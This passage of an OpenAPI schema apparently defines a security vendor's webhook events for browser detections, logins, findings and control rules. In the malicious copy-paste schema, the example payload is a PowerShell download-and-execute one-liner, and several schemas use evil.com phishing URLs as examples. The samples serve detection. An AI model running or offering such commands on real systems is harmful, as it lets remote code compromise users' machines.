            https://pushsecurity.com/app/detections?id=c478966c-f927-411c-b919-179832d3d50c
        response:
          $ref: '#/components/schemas/ResponseTypeDetection'
        creationTimestamp:
          type: integer
          description: >-
            When the detection was created. Formatted as a UNIX timestamp (in
            seconds).
          example: 1698604061
        lastActivityTimestamp:
          type: integer
          description: >-
            When the detection was last active. Formatted as a UNIX timestamp
            (in seconds).
          example: 1698604061
        archived:
          type: boolean
          description: Whether the detection has been archived.
          example: true
        classification:
          type: string
          nullable: true
          enum:
            - TRUE_POSITIVE
            - BENIGN_TRUE_POSITIVE
            - FALSE_POSITIVE
          example: FALSE_POSITIVE
          description: The classification of the detection.
        events:
          type: array
          items:
            $ref: '#/components/schemas/DetectionChildEvent'
    BlockedURLVisitedEvent:
      title: Blocked URL Visited
      type: object
      description: >-
        This object represents a blocked URL visited event, indicating an
        employee tried to visit a URL that has been blocked.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        url:
          type: string
          description: The blocked URL.
          example: https://example.com/login
        referrerUrl:
          type: string
          description: The URL the user was on before navigating to the blocked URL.
          example: https://statics.teams.cdn.office.net/
          nullable: true
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser.
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
        urlSchemaObfuscationBlock:
          type: boolean
          description: Whether the URL was blocked because of schema obfuscation or not
    BrowserEvent:
      title: Browser
      type: object
      description: This object represents an employee's browser in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the browser
          example: 1852b6ab-0cca-4c8d-8f14-4905497504ec
        employeeId:
          type: string
          description: Unique identifier for the employee
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        email:
          type: string
          description: >-
            Email address of the employee. Null if the employee has been
            deleted.
          format: email
          example: john.hill@example.com
          nullable: true
        version:
          type: string
          description: Version of the browser
          example: 125.0.0.0
        tokenType:
          type: string
          description: Type of enrollment token used
          enum:
            - INDIVIDUAL
            - TEAM
            - LANDING_PAGE
        isActive:
          type: boolean
          description: Whether the browser extension is used by a licensed employee
          example: true
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        extensionVersion:
          type: string
          description: Version of the Push extension
          example: 1.66.17
        language:
          type: string
          description: The browser language
          example: en-US
        profileEmail:
          type: string
          description: The email address of the signed in browser profile
          format: email
          example: john.hill@example.com
        profileSyncEnabled:
          type: boolean
          description: Whether synchronisation is enabled on the browser profile
          example: true
        creationTimestamp:
          type: integer
          description: >-
            When this browser object was created, formatted as a UNIX timestamp
            (in seconds)
          example: 1698669223
        lastOnlineTimestamp:
          type: integer
          description: >-
            When this browser was last seen, formatted as a UNIX timestamp (in
            seconds)
          example: 1716290202
    BrowserExtensionEvent:
      title: Browser Extension
      type: object
      description: >-
        This object represents an extension in an employee's browser in your
        organization.
      properties:
        id:
          type: string
          description: Static identifier for the extension.
          example: gmbgaklkmjakoegficnlkhebmhkjfich
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        browserId:
          type: string
          description: Identifier of the employee's Push browser.
          example: 72d0347a-2663-4ef5-b1c5-df39163f1603
        name:
          type: string
          description: Name of the browser extension
          example: Privacy Badger
        description:
          type: string
          description: Description of the browser extension
          example: Privacy Badger automatically learns to block invisible trackers.
        deploymentMode:
          type: string
          description: Which method was used to install this extension
          example: MANUAL
          enum:
            - MANAGED
            - DEVELOPMENT
            - MANUAL
            - SIDELOAD
            - OTHER
        permissions:
          type: array
          items:
            type: string
          description: Permissions required by the browser extension
          example:
            - activeTab
            - contextMenus
            - storage
        hostPermissions:
          type: array
          items:
            type: string
          description: >-
            Host permissions allow extensions to interact with the URLs matching
            these patterns.
          example:
            - https://*/*
            - http://*/*
        version:
          type: string
          description: Version of the browser extension
          example: 3.1.5.2
        versionName:
          type: string
          description: Version number shown to the user
          example: build rc2
        enabled:
          type: boolean
          description: Whether the browser extension is enabled or not
          example: true
        disabledReason:
          type: string
          description: Reason why the browser extension was disabled
          example: NEW_PERMISSION_REQUIRED
          enum:
            - NEW_PERMISSION_REQUIRED
            - UNKNOWN
        updateUrl:
          type: string
          description: The URL where the browser extension gets updates from
          example: http://clients2.google.com/service/update2/crx
        homePageUrl:
          type: string
          description: Link to the browser extensions home page
          example: http://www.eff.org/
    BrowserExtensionStateEnforcementEvent:
      title: Browser extension state enforcement
      type: object
      description: >-
        This object represents a browser extension state enforcement event,
        indicating an employee had a browser extension blocked or force enabled.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        extensionId:
          type: string
          description: ID of the browser extension that was blocked/enabled
          example: dljjddkmmcminffjbcmeccgfbjlhmhlm
        extensionName:
          type: string
          description: >-
            Name of the browser extension that was blocked/enabled (only
            populated if the browser extension has been previously observed)
          example: Example Extension
          nullable: true
        browserExtensionBlocked:
          type: object
          description: >-
            Details about the browser extension block (only present for block
            events)
          nullable: true
          properties:
            title:
              type: string
              description: The title of the browser extension disabled banner
              example: Extension Blocked
            subtext:
              type: string
              description: The subtext of the browser extension disabled banner
              example: This extension has been blocked by your administrator
        trigger:
          type: string
          description: >-
            Enum describing the trigger for the block action (only present for
            block events)
          nullable: true
          enum:
            - DISABLED_ON_INSTALL
            - DISABLED_ON_USER_ENABLE
            - BLOCKED_ON_STORE_VISIT
          example: DISABLED_ON_INSTALL
        sourceIpAddress:
          type: string
          description: The IP address of the user
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    ClonedLoginPageDetectedEvent:
      title: Cloned login page detected
      type: object
      description: This object represents a cloned login page detected event.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        mode:
          type: string
          nullable: true
          enum:
            - 'OFF'
            - MONITOR
            - WARN
            - BLOCK
          description: Mode that the cloned login page detection control is in.
        clonedLoginPageType:
          type: string
          description: The type of login page that was cloned
          example: OKTA
        clonedLoginPageUrls:
          type: array
          items:
            type: string
          description: The legitimate login page URL that was cloned.
          example:
            - https://login.okta.com
        url:
          type: string
          description: The URL that triggered this detection.
          example: https://evil.com/okta.php
        referrerUrl:
          type: string
          description: The URL the user was on before the cloned login page was detected
          example: https://statics.teams.cdn.office.net/
          nullable: true
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
        action:
          type: string
          nullable: true
          enum:
            - DISPLAYED
            - IGNORED
          description: >-
            The action that the user took while on the cloned login detection
            page.
        indicator:
          type: string
          description: The indicator that was used to detect the cloned login page.
          example: INDICATOR_01
    ControlRuleCondition:
      type: object
      description: A pattern matching condition.
      properties:
        patterns:
          type: array
          items:
            type: string
          description: The patterns to match.
        include:
          type: boolean
          description: >-
            Whether the condition is to match the pattern or not, i.e. include
            or exclude matches.
          example: true
      required:
        - patterns
        - include
    ControlRuleIncludeCondition:
      type: object
      description: A pattern matching condition that is always included.
      properties:
        patterns:
          type: array
          items:
            type: string
          description: The patterns to match.
          example:
            - '*://example.com/*'
      required:
        - patterns
    ControlRuleCriteria:
      type: object
      description: The criteria for applying the rule.
      properties:
        appLabels:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching app labels.
        employeeGroups:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching employee groups.
        approvalStates:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching approval states.
        sensitivityLevels:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching sensitivity levels.
        employeeEmails:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching employee emails.
        employeeIds:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching employee identifiers.
        appTypes:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching app types.
        urlPatterns:
          allOf:
            - $ref: '#/components/schemas/ControlRuleIncludeCondition'
          description: Conditions for matching arbitrary url patterns.
        browserExtensionIds:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: Conditions for matching specific browser extensions by ID.
        browserExtensionPermissions:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: >-
            Conditions for matching browser extensions by the permissions they
            use.
        browserExtensionDeploymentType:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: >-
            Conditions for matching specific browser extensions by the method of
            installation.
        browserExtensionProfile:
          allOf:
            - $ref: '#/components/schemas/ControlRuleCondition'
          description: >-
            Conditions for matching specific browser extensions by the profile
            they are installed to.
    ControlRule:
      title: Control Rule
      type: object
      description: This object represents a control rule.
      nullable: false
      properties:
        ruleId:
          type: string
          description: The unique identifier for the rule
          example: c478966c-f927-411c-b919-179832d3d50c
        control:
          type: string
          description: The control that the rule applies to.
          enum:
            - APP_BANNER
            - BLOCKED_URL
            - BROWSER_EXTENSION_BLOCKING
            - CLONED_LOGIN_PAGE_DETECTION
            - MALICIOUS_COPY_PASTE_DETECTION
            - MFA_ENFORCEMENT
            - PASSWORD_PROTECTION
            - PHISHING_TOOL_DETECTION
            - SESSION_TOKEN_THEFT_DETECTION
            - SSO_PASSWORD_PROTECTION
          x-enumDescriptions:
            APP_BANNER: The App Banner control.
            BLOCKED_URL: The Blocked URL control.
            BROWSER_EXTENSION_BLOCKING: The Browser Extension Blocking control.
            CLONED_LOGIN_PAGE_DETECTION: The Cloned Login Page Detection control.
            MALICIOUS_COPY_PASTE_DETECTION: The Malicious Copy-Paste Detection control.
            MFA_ENFORCEMENT: The MFA Enforcement control.
            PASSWORD_PROTECTION: The Password Protection control.
            PHISHING_TOOL_DETECTION: The Phishing Tool Detection control.
            SESSION_TOKEN_THEFT_DETECTION: The Session Theft Detection control.
            SSO_PASSWORD_PROTECTION: The SSO Password Protection control.
        description:
          type: string
          description: The description given to the rule.
          example: Display app banner on ChatGPT
        enabled:
          type: boolean
          description: Whether the rule is enabled.
          example: true
        criteria:
          $ref: '#/components/schemas/ControlRuleCriteria'
        settings:
          type: object
          description: The settings for the control.
        lastUpdatedTimestamp:
          type: integer
          description: >-
            When the rule was last updated, formatted as a UNIX timestamp (in
            seconds).
          example: 1698604061
      required:
        - ruleId
        - control
        - description
        - enabled
        - criteria
        - lastUpdatedTimestamp
    EmployeeEvent:
      title: Employee
      type: object
      nullable: true
      description: This object represents an employee in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the employee
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        email:
          type: string
          description: Email address of the employee
          format: email
          example: john.hill@example.com
        firstName:
          type: string
          description: |
            First name of the employee

            Note: changes to this field do not trigger an UPDATE event
          example: John
        lastName:
          type: string
          description: |
            Last name of the employee

            Note: changes to this field do not trigger an UPDATE event
          example: Hill
        department:
          type: string
          description: |
            Department - as provided by connected API integrations

            Note: changes to this field do not trigger an UPDATE event
          example: Security Engineering
        location:
          type: string
          description: |
            Location - as provided by connected API integrations

            Note: changes to this field do not trigger an UPDATE event
          example: New York
        licensed:
          type: boolean
          description: Whether the employee is licensed on the Push platform
          example: true
        chatopsEnabled:
          type: boolean
          description: >-
            Whether the employee has ChatOps enabled<blockquote>Deprecation
            notice: this value no longer does anything unless you still have
            access to the legacy Employee chat topics functionality on your
            account. It will be removed in the next API version.</blockquote>
          example: true
          deprecated: true
        creationTimestamp:
          type: integer
          description: >-
            When this employee was created, formatted as a UNIX timestamp (in
            seconds)
          example: 1698669223
    AdminAuditLogActorEmployee:
      title: Admin Audit Log Employee
      type: object
      description: >-
        This object contains details about the employee that triggered the audit
        log.
      properties:
        source:
          type: string
          enum:
            - EMPLOYEE
          description: The source of the action that generated the event.
        id:
          type: string
          description: The employee's identifier.
        email:
          type: string
          description: The employee's email.
        sourceIpAddress:
          type: string
          description: The IP address of the employee at the time of the event.
        userAgent:
          type: string
          nullable: true
          description: >-
            The user agent of the employee at the time of the event, if
            available.
      required:
        - source
        - id
        - email
        - sourceIpAddress
        - userAgent
    FindingType:
      title: FindingType
      type: string
      enum:
        - MFA_NOT_REGISTERED
        - REUSED_PASSWORD
        - SHARED_ACCOUNT
        - UNUSED_THIRD_PARTY_APP
        - WEAK_PASSWORD
        - LEAKED_PASSWORD
        - PASSWORD_MANAGER_NOT_USED
        - STOLEN_CREDENTIALS
      x-enumDescriptions:
        MFA_NOT_REGISTERED: This account does not have MFA.
        REUSED_PASSWORD: The password used on the account is being reused.
        SHARED_ACCOUNT: The account credentials are being shared with another employee.
        UNUSED_THIRD_PARTY_APP: The third-party integration has not been used in 90 days or more.
        WEAK_PASSWORD: The password used on the account is weak.
        LEAKED_PASSWORD: The password used on the account has been leaked in a data breach.
        PASSWORD_MANAGER_NOT_USED: >-
          The employee typically uses manually typed passwords, rather than a
          password manager.
        STOLEN_CREDENTIALS: The credentials used on the account have been identified as stolen.
      description: The type of finding
    FindingState:
      type: string
      enum:
        - OPEN
        - RESOLVED
      x-enumDescriptions:
        OPEN: The finding has been confirmed and is open.
        RESOLVED: The finding has been resolved and is no longer an issue.
      description: The state of the finding
    FindingEvent:
      title: Finding
      type: object
      description: This object represents a finding in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the finding
          example: d6a32ba5-0532-4a66-8137-48cdf409c972
        type:
          $ref: '#/components/schemas/FindingType'
        state:
          $ref: '#/components/schemas/FindingState'
        employeeId:
          type: string
          description: >-
            ID of the employee this finding is linked to, `null` if finding is
            not linked to an employee.
          example: 379ac7ea-ff2a-42ef-af37-06d2020dc46a
          nullable: true
        employee:
          type: object
          nullable: true
          allOf:
            - $ref: '#/components/schemas/EmployeeInEvent'
        passwordId:
          type: string
          description: >-
            ID of the password this finding is linked to, `null` if finding is
            not linked to a password.
          example: c4a045a1-5331-4714-af83-6a361e98960d
          nullable: true
        accountId:
          type: string
          description: >-
            ID of the account this finding is linked to, `null` if finding is
            not linked to an account.
          nullable: true
        appType:
          type: string
          description: >-
            The type of app this finding is linked to, `null` if finding is not
            linked to an app.
          example: PUSH_SECURITY
          nullable: true
        appId:
          type: string
          description: >-
            ID of the app this finding is linked to, `null` if finding is not
            linked to an app.
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
          nullable: true
        creationTimestamp:
          type: integer
          description: >-
            When this finding was first observed, formatted as a UNIX timestamp
            (in seconds)
          example: 1698064423
    AdminAuditLogActorNullEmail:
      title: Admin Audit Log Actor
      type: object
      description: >-
        This object contains information about the user that performed the
        action triggering the audit log.
      properties:
        source:
          type: string
          enum:
            - UI
          description: The source of the action that generated the event.
        email:
          type: string
          nullable: true
          description: The actor's email address is not available for this webhook.
        sourceIpAddress:
          type: string
          description: The IP address of the actor.
        userAgent:
          type: string
          nullable: true
          description: The user agent of the actor, if available.
      required:
        - source
        - email
        - sourceIpAddress
        - userAgent
    WeakPasswordReasonsType:
      title: FindingType
      type: string
      enum:
        - COMMON_BASE_WORD
        - BANNED_BASE_WORD
      x-enumDescriptions:
        COMMON_BASE_WORD: The base word is a derivative of top 10000 most used passwords.
        BANNED_BASE_WORD: The password is a derivative of a custom banned word.
      description: Reason a password is weak
    LoginType:
      title: LoginType
      type: string
      enum:
        - OIDC_LOGIN
        - SAML_LOGIN
        - PASSWORD_LOGIN
        - FEDCM_LOGIN
      nullable: true
      description: All possible ENUM values for login types
    LoginEvent:
      title: Login
      type: object
      description: >-
        This object represents a login event, indicating when an employee
        accesses an application by logging in.
      properties:
        employeeId:
          type: string
          description: Identifier of employee who used this account
          example: 72d0347a-2663-4ef5-b1c5-df39163f1603
        accountId:
          type: string
          description: >-
            Identifier for the account that was logged into. This value is
            `null` when `workApp=false`.
          example: 37cda962-7e78-49bc-8721-1becd16276a3
          nullable: true
        appType:
          type: string
          description: >-
            The app associated with this account. This value is `null` when
            `workApp=false`.
          example: ATLASSIAN
          nullable: true
        appId:
          type: string
          description: >-
            The identifier of the app associated with this account. This value
            is `null` when `workApp=false`.
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
          nullable: true
        email:
          type: string
          description: The email address used to log into the account
          format: email
          example: john.hill@example.com
        loginTimestamp:
          type: integer
          description: When the login occurred. Formatted as a UNIX timestamp (in seconds).
          example: 1698064423
        loginUrl:
          type: string
          description: The URL where the login took place.
          example: https://www.example.com/login
        workApp:
          type: boolean
          description: >-
            Whether the app is recognized as a commonly used work app. [Learn
            more](https://pushsecurity.com/integration/supported/).
          example: true
        passwordManuallyTyped:
          type: boolean
          description: >-
            Whether the password was manually typed (or a password manager was
            used). This value is `null` if password authentication was not used.
          example: true
          nullable: true
        passwordManager:
          type: string
          description: >-
            The password manager used to log in. This value is `null` if a
            password manager was not detected.
          example: ONEPASSWORD
          nullable: true
          enum:
            - ARC_BUILTIN
            - BITWARDEN
            - BRAVE_BUILTIN
            - CHROME_BUILTIN
            - CLIPBOARD_PASTE
            - DASHLANE
            - EDGE_BUILTIN
            - FIREFOX_BUILTIN
            - KEEPER
            - LASTPASS
            - OPERA_BUILTIN
            - SAFARI_BUILTIN
            - OKTA
            - ONEPASSWORD
            - UNKNOWN
        weakPassword:
          type: boolean
          description: >-
            True if the password used was considered weak. This value is `null`
            if password authentication was not used.
          example: true
          nullable: true
        weakPasswordReasons:
          type: array
          items:
            $ref: '#/components/schemas/WeakPasswordReasonsType'
          description: >-
            Reasons a password is weak. This value is `null` if `weakPassword`
            is `false` or `null`.
          nullable: true
        leakedPassword:
          type: boolean
          description: >-
            Whether the password used on the account has been leaked in a data
            breach or not. This value is `null` if password authentication is
            not used.
          example: true
          nullable: true
        loginType:
          $ref: '#/components/schemas/LoginType'
        identityProvider:
          type: string
          description: >-
            The identity provider used to authenticate. This value is `null` if
            password authentication was used.
          nullable: true
          example: OKTA
        sourceIpAddress:
          type: string
          description: The IP address of the user logging in.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
        passwordId:
          type: string
          description: >-
            The identifier of the password used to login.  This value is `null`
            if password authentication was not used.
          nullable: true
          example: 9c816f55-7453-49e5-bc60-6b1b9b38cadc
        passwordChanged:
          type: boolean
          description: >-
            Whether the password has changed since the last login on this
            browser. This value is `null` if unavailable.
          nullable: true
          example: true
    MaliciousCopyPasteDetectedEvent:
      title: Malicious copy and paste detected
      type: object
      description: >-
        This object represents a malicious copy and paste detected event,
        indicating an employee visited a URL which copied malicious content into
        their clipboard.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        url:
          type: string
          description: The URL that triggered this detection.
          example: https://evil.com/okta.php
        referrerUrl:
          type: string
          description: >-
            The URL the user was on before the malicious copy and paste was
            detected.
          example: https://statics.teams.cdn.office.net/
          nullable: true
        mode:
          type: string
          nullable: true
          enum:
            - 'OFF'
            - MONITOR
            - WARN
            - BLOCK
          description: Mode that the malicious copy and paste detection control is in.
        payload:
          type: string
          nullable: true
          description: The clipboard contents that triggered this alert.
          example: powershell -c iex(iwr -Uri example.com -UseBasicParsing)
        action:
          type: string
          nullable: true
          enum:
            - DISPLAYED
            - IGNORED
          description: >-
            The action taken by the control when the malicious copy and paste
            was detected.
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser.
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    MfaEnforcementEvent:
      title: MFA enforcement
      type: object
      description: This object represents an MFA enforcement event.
      properties:
        mfaEnforcement:
          type: object
          properties:
            title:
              type: string
              description: The title of the MFA enforcement banner.
              example: MFA enforcement
            subtext:
              type: string
              description: The subtext of the MFA enforcement banner.
              example: You are required to enable MFA on this platform.
            buttonText:
              type: string
              description: The button text of the MFA enforcement banner.
              example: I'll do it now
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        appType:
          type: string
          description: The type of app that the MFA enforcement is for.
          example: GITHUB
        action:
          type: string
          enum:
            - DISPLAYED
            - ACKNOWLEDGED
          description: The action taken by the user in response to the MFA enforcement.
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    SsoPasswordProtectionModeType:
      title: SsoPasswordProtectionModeType
      enum:
        - BLOCK
        - MONITOR
        - WARN
        - 'OFF'
      description: The mode that SSO password protection is in.
    SsoPasswordProtectionActionType:
      title: SsoPasswordProtectionActionType
      enum:
        - DISPLAYED
        - IGNORED
      description: The action that the user took while on the SSO password protection page.
      nullable: true
      type: string
    SsoPasswordUsedEvent:
      title: SSO Password used
      type: object
      description: >-
        This object represents an SSO password used event, indicating when an
        employee has typed a known IdP password into an unknown domain.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        mode:
          $ref: '#/components/schemas/SsoPasswordProtectionModeType'
        action:
          nullable: true
          $ref: '#/components/schemas/SsoPasswordProtectionActionType'
        url:
          type: string
          description: The URL the user entered the password into
          example: https://evil.com/okta.php
          nullable: true
        referrerUrl:
          type: string
          description: The URL the user was on before entering the password
          example: https://statics.teams.cdn.office.net/
          nullable: true
        email:
          type: string
          description: The email address used to log into the account
          format: email
          example: john.hill@example.com
        appType:
          type: string
          description: The IdP password that was entered
          example: OKTA
        sourceIpAddress:
          type: string
          description: The IP address of the user logging in.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    PhishingToolDetectedEvent:
      title: Phishing tool detected
      type: object
      description: This object represents a phishing tool detected event.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        indicator:
          type: string
          example: AITM_TOOL_EVILGINX_01
        url:
          type: string
          description: The URL the phishing tool was detected on
          example: https://evil.com/okta.php
        referrerUrl:
          type: string
          description: The URL the user was on before the phishing tool was detected
          example: https://statics.teams.cdn.office.net/
          nullable: true
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
        mode:
          type: string
          nullable: true
          enum:
            - 'OFF'
            - MONITOR
            - WARN
            - BLOCK
          description: Mode that the phishing tool detection control is in.
        action:
          type: string
          nullable: true
          enum:
            - DISPLAYED
            - IGNORED
          description: >-
            The action that the user took while on the phishing tool detection
            page.
    PasswordProtectionModeType:
      title: PasswordProtectionModeType
      enum:
        - BLOCK
        - MONITOR
        - WARN
        - 'OFF'
      description: The mode that SSO password protection is in.
    PasswordProtectionActionType:
      title: PasswordProtectionActionType
      enum:
        - DISPLAYED
        - IGNORED
      description: The action that the user took while on the SSO password protection page.
      nullable: true
      type: string
    ProtectedPasswordEnteredEvent:
      title: Protected password entered
      type: object
      description: >-
        This object represents a protected password entered event, indicating
        when an employee has typed a known protected password into an unknown
        domain.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        mode:
          $ref: '#/components/schemas/PasswordProtectionModeType'
        action:
          nullable: true
          $ref: '#/components/schemas/PasswordProtectionActionType'
        url:
          type: string
          description: The URL the user entered the password into
          example: https://evil.com/okta.php
          nullable: true
        referrerUrl:
          type: string
          description: The URL the user was on before entering the password
          example: https://statics.teams.cdn.office.net/
          nullable: true
        email:
          type: string
          description: The email address used to log into the account
          format: email
          example: john.hill@example.com
        appType:
          type: string
          description: The IdP password that was entered
          example: OKTA
        sourceIpAddress:
          type: string
          description: The IP address of the user logging in.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    StolenCredentialsEvent:
      title: Stolen credentials event
      type: object
      description: This object represents a stolen credentials event.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        email:
          type: string
          description: The email associated with the account whose credentials were stolen.
          example: user@example.com
        appType:
          type: string
          description: The app whose credentials were detected as stolen.
          example: Google Workspace
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
        metadata:
          type: object
          description: Additional metadata related to the event.
          example:
            key: key
    StrongPasswordEnforcementEvent:
      title: Strong password enforcement
      type: object
      description: This object represents a strong password enforcement event.
      properties:
        strongPasswordEnforcement:
          type: object
          properties:
            title:
              type: string
              description: The title of the strong password enforcement banner.
              example: Strong password enforcement
            subtext:
              type: string
              description: The subtext of the strong password enforcement banner.
              example: You are required to use a strong password on this platform.
            buttonText:
              type: string
              description: The button text of the strong password enforcement banner.
              example: I'll do it now
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        appType:
          type: string
          description: The type of app that the strong password enforcement is for.
          example: GITHUB
        action:
          type: string
          enum:
            - DISPLAYED
            - ACKNOWLEDGED
          description: >-
            The action taken by the user in response to the strong password
            enforcement.
        sourceIpAddress:
          type: string
          description: The IP address of the user.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
x-internal: false
tags:
  - name: Activity
    description: Events representing employee activity.
  - name: Audit
    description: Audit log events.
  - name: Controls
    description: Events related to any of the control features.
  - name: Entities
    description: Events representing CRUD operations on entities.
  - name: Phishing Tools Detection
    description: Events related to the phishing tools detection feature.
  - name: SSO Password Protection
    description: Events related to the SSO password protection feature.
  - name: URL blocking
    description: Events related to the URL blocking feature.
  - name: Stolen credentials detection
    description: Events related to the stolen credentials detection feature.
x-tagGroups:
  - name: Events
    tags:
      - Activity
      - Audit
      - Controls
      - Detections
      - Entities
security:
  - X-Signature: []
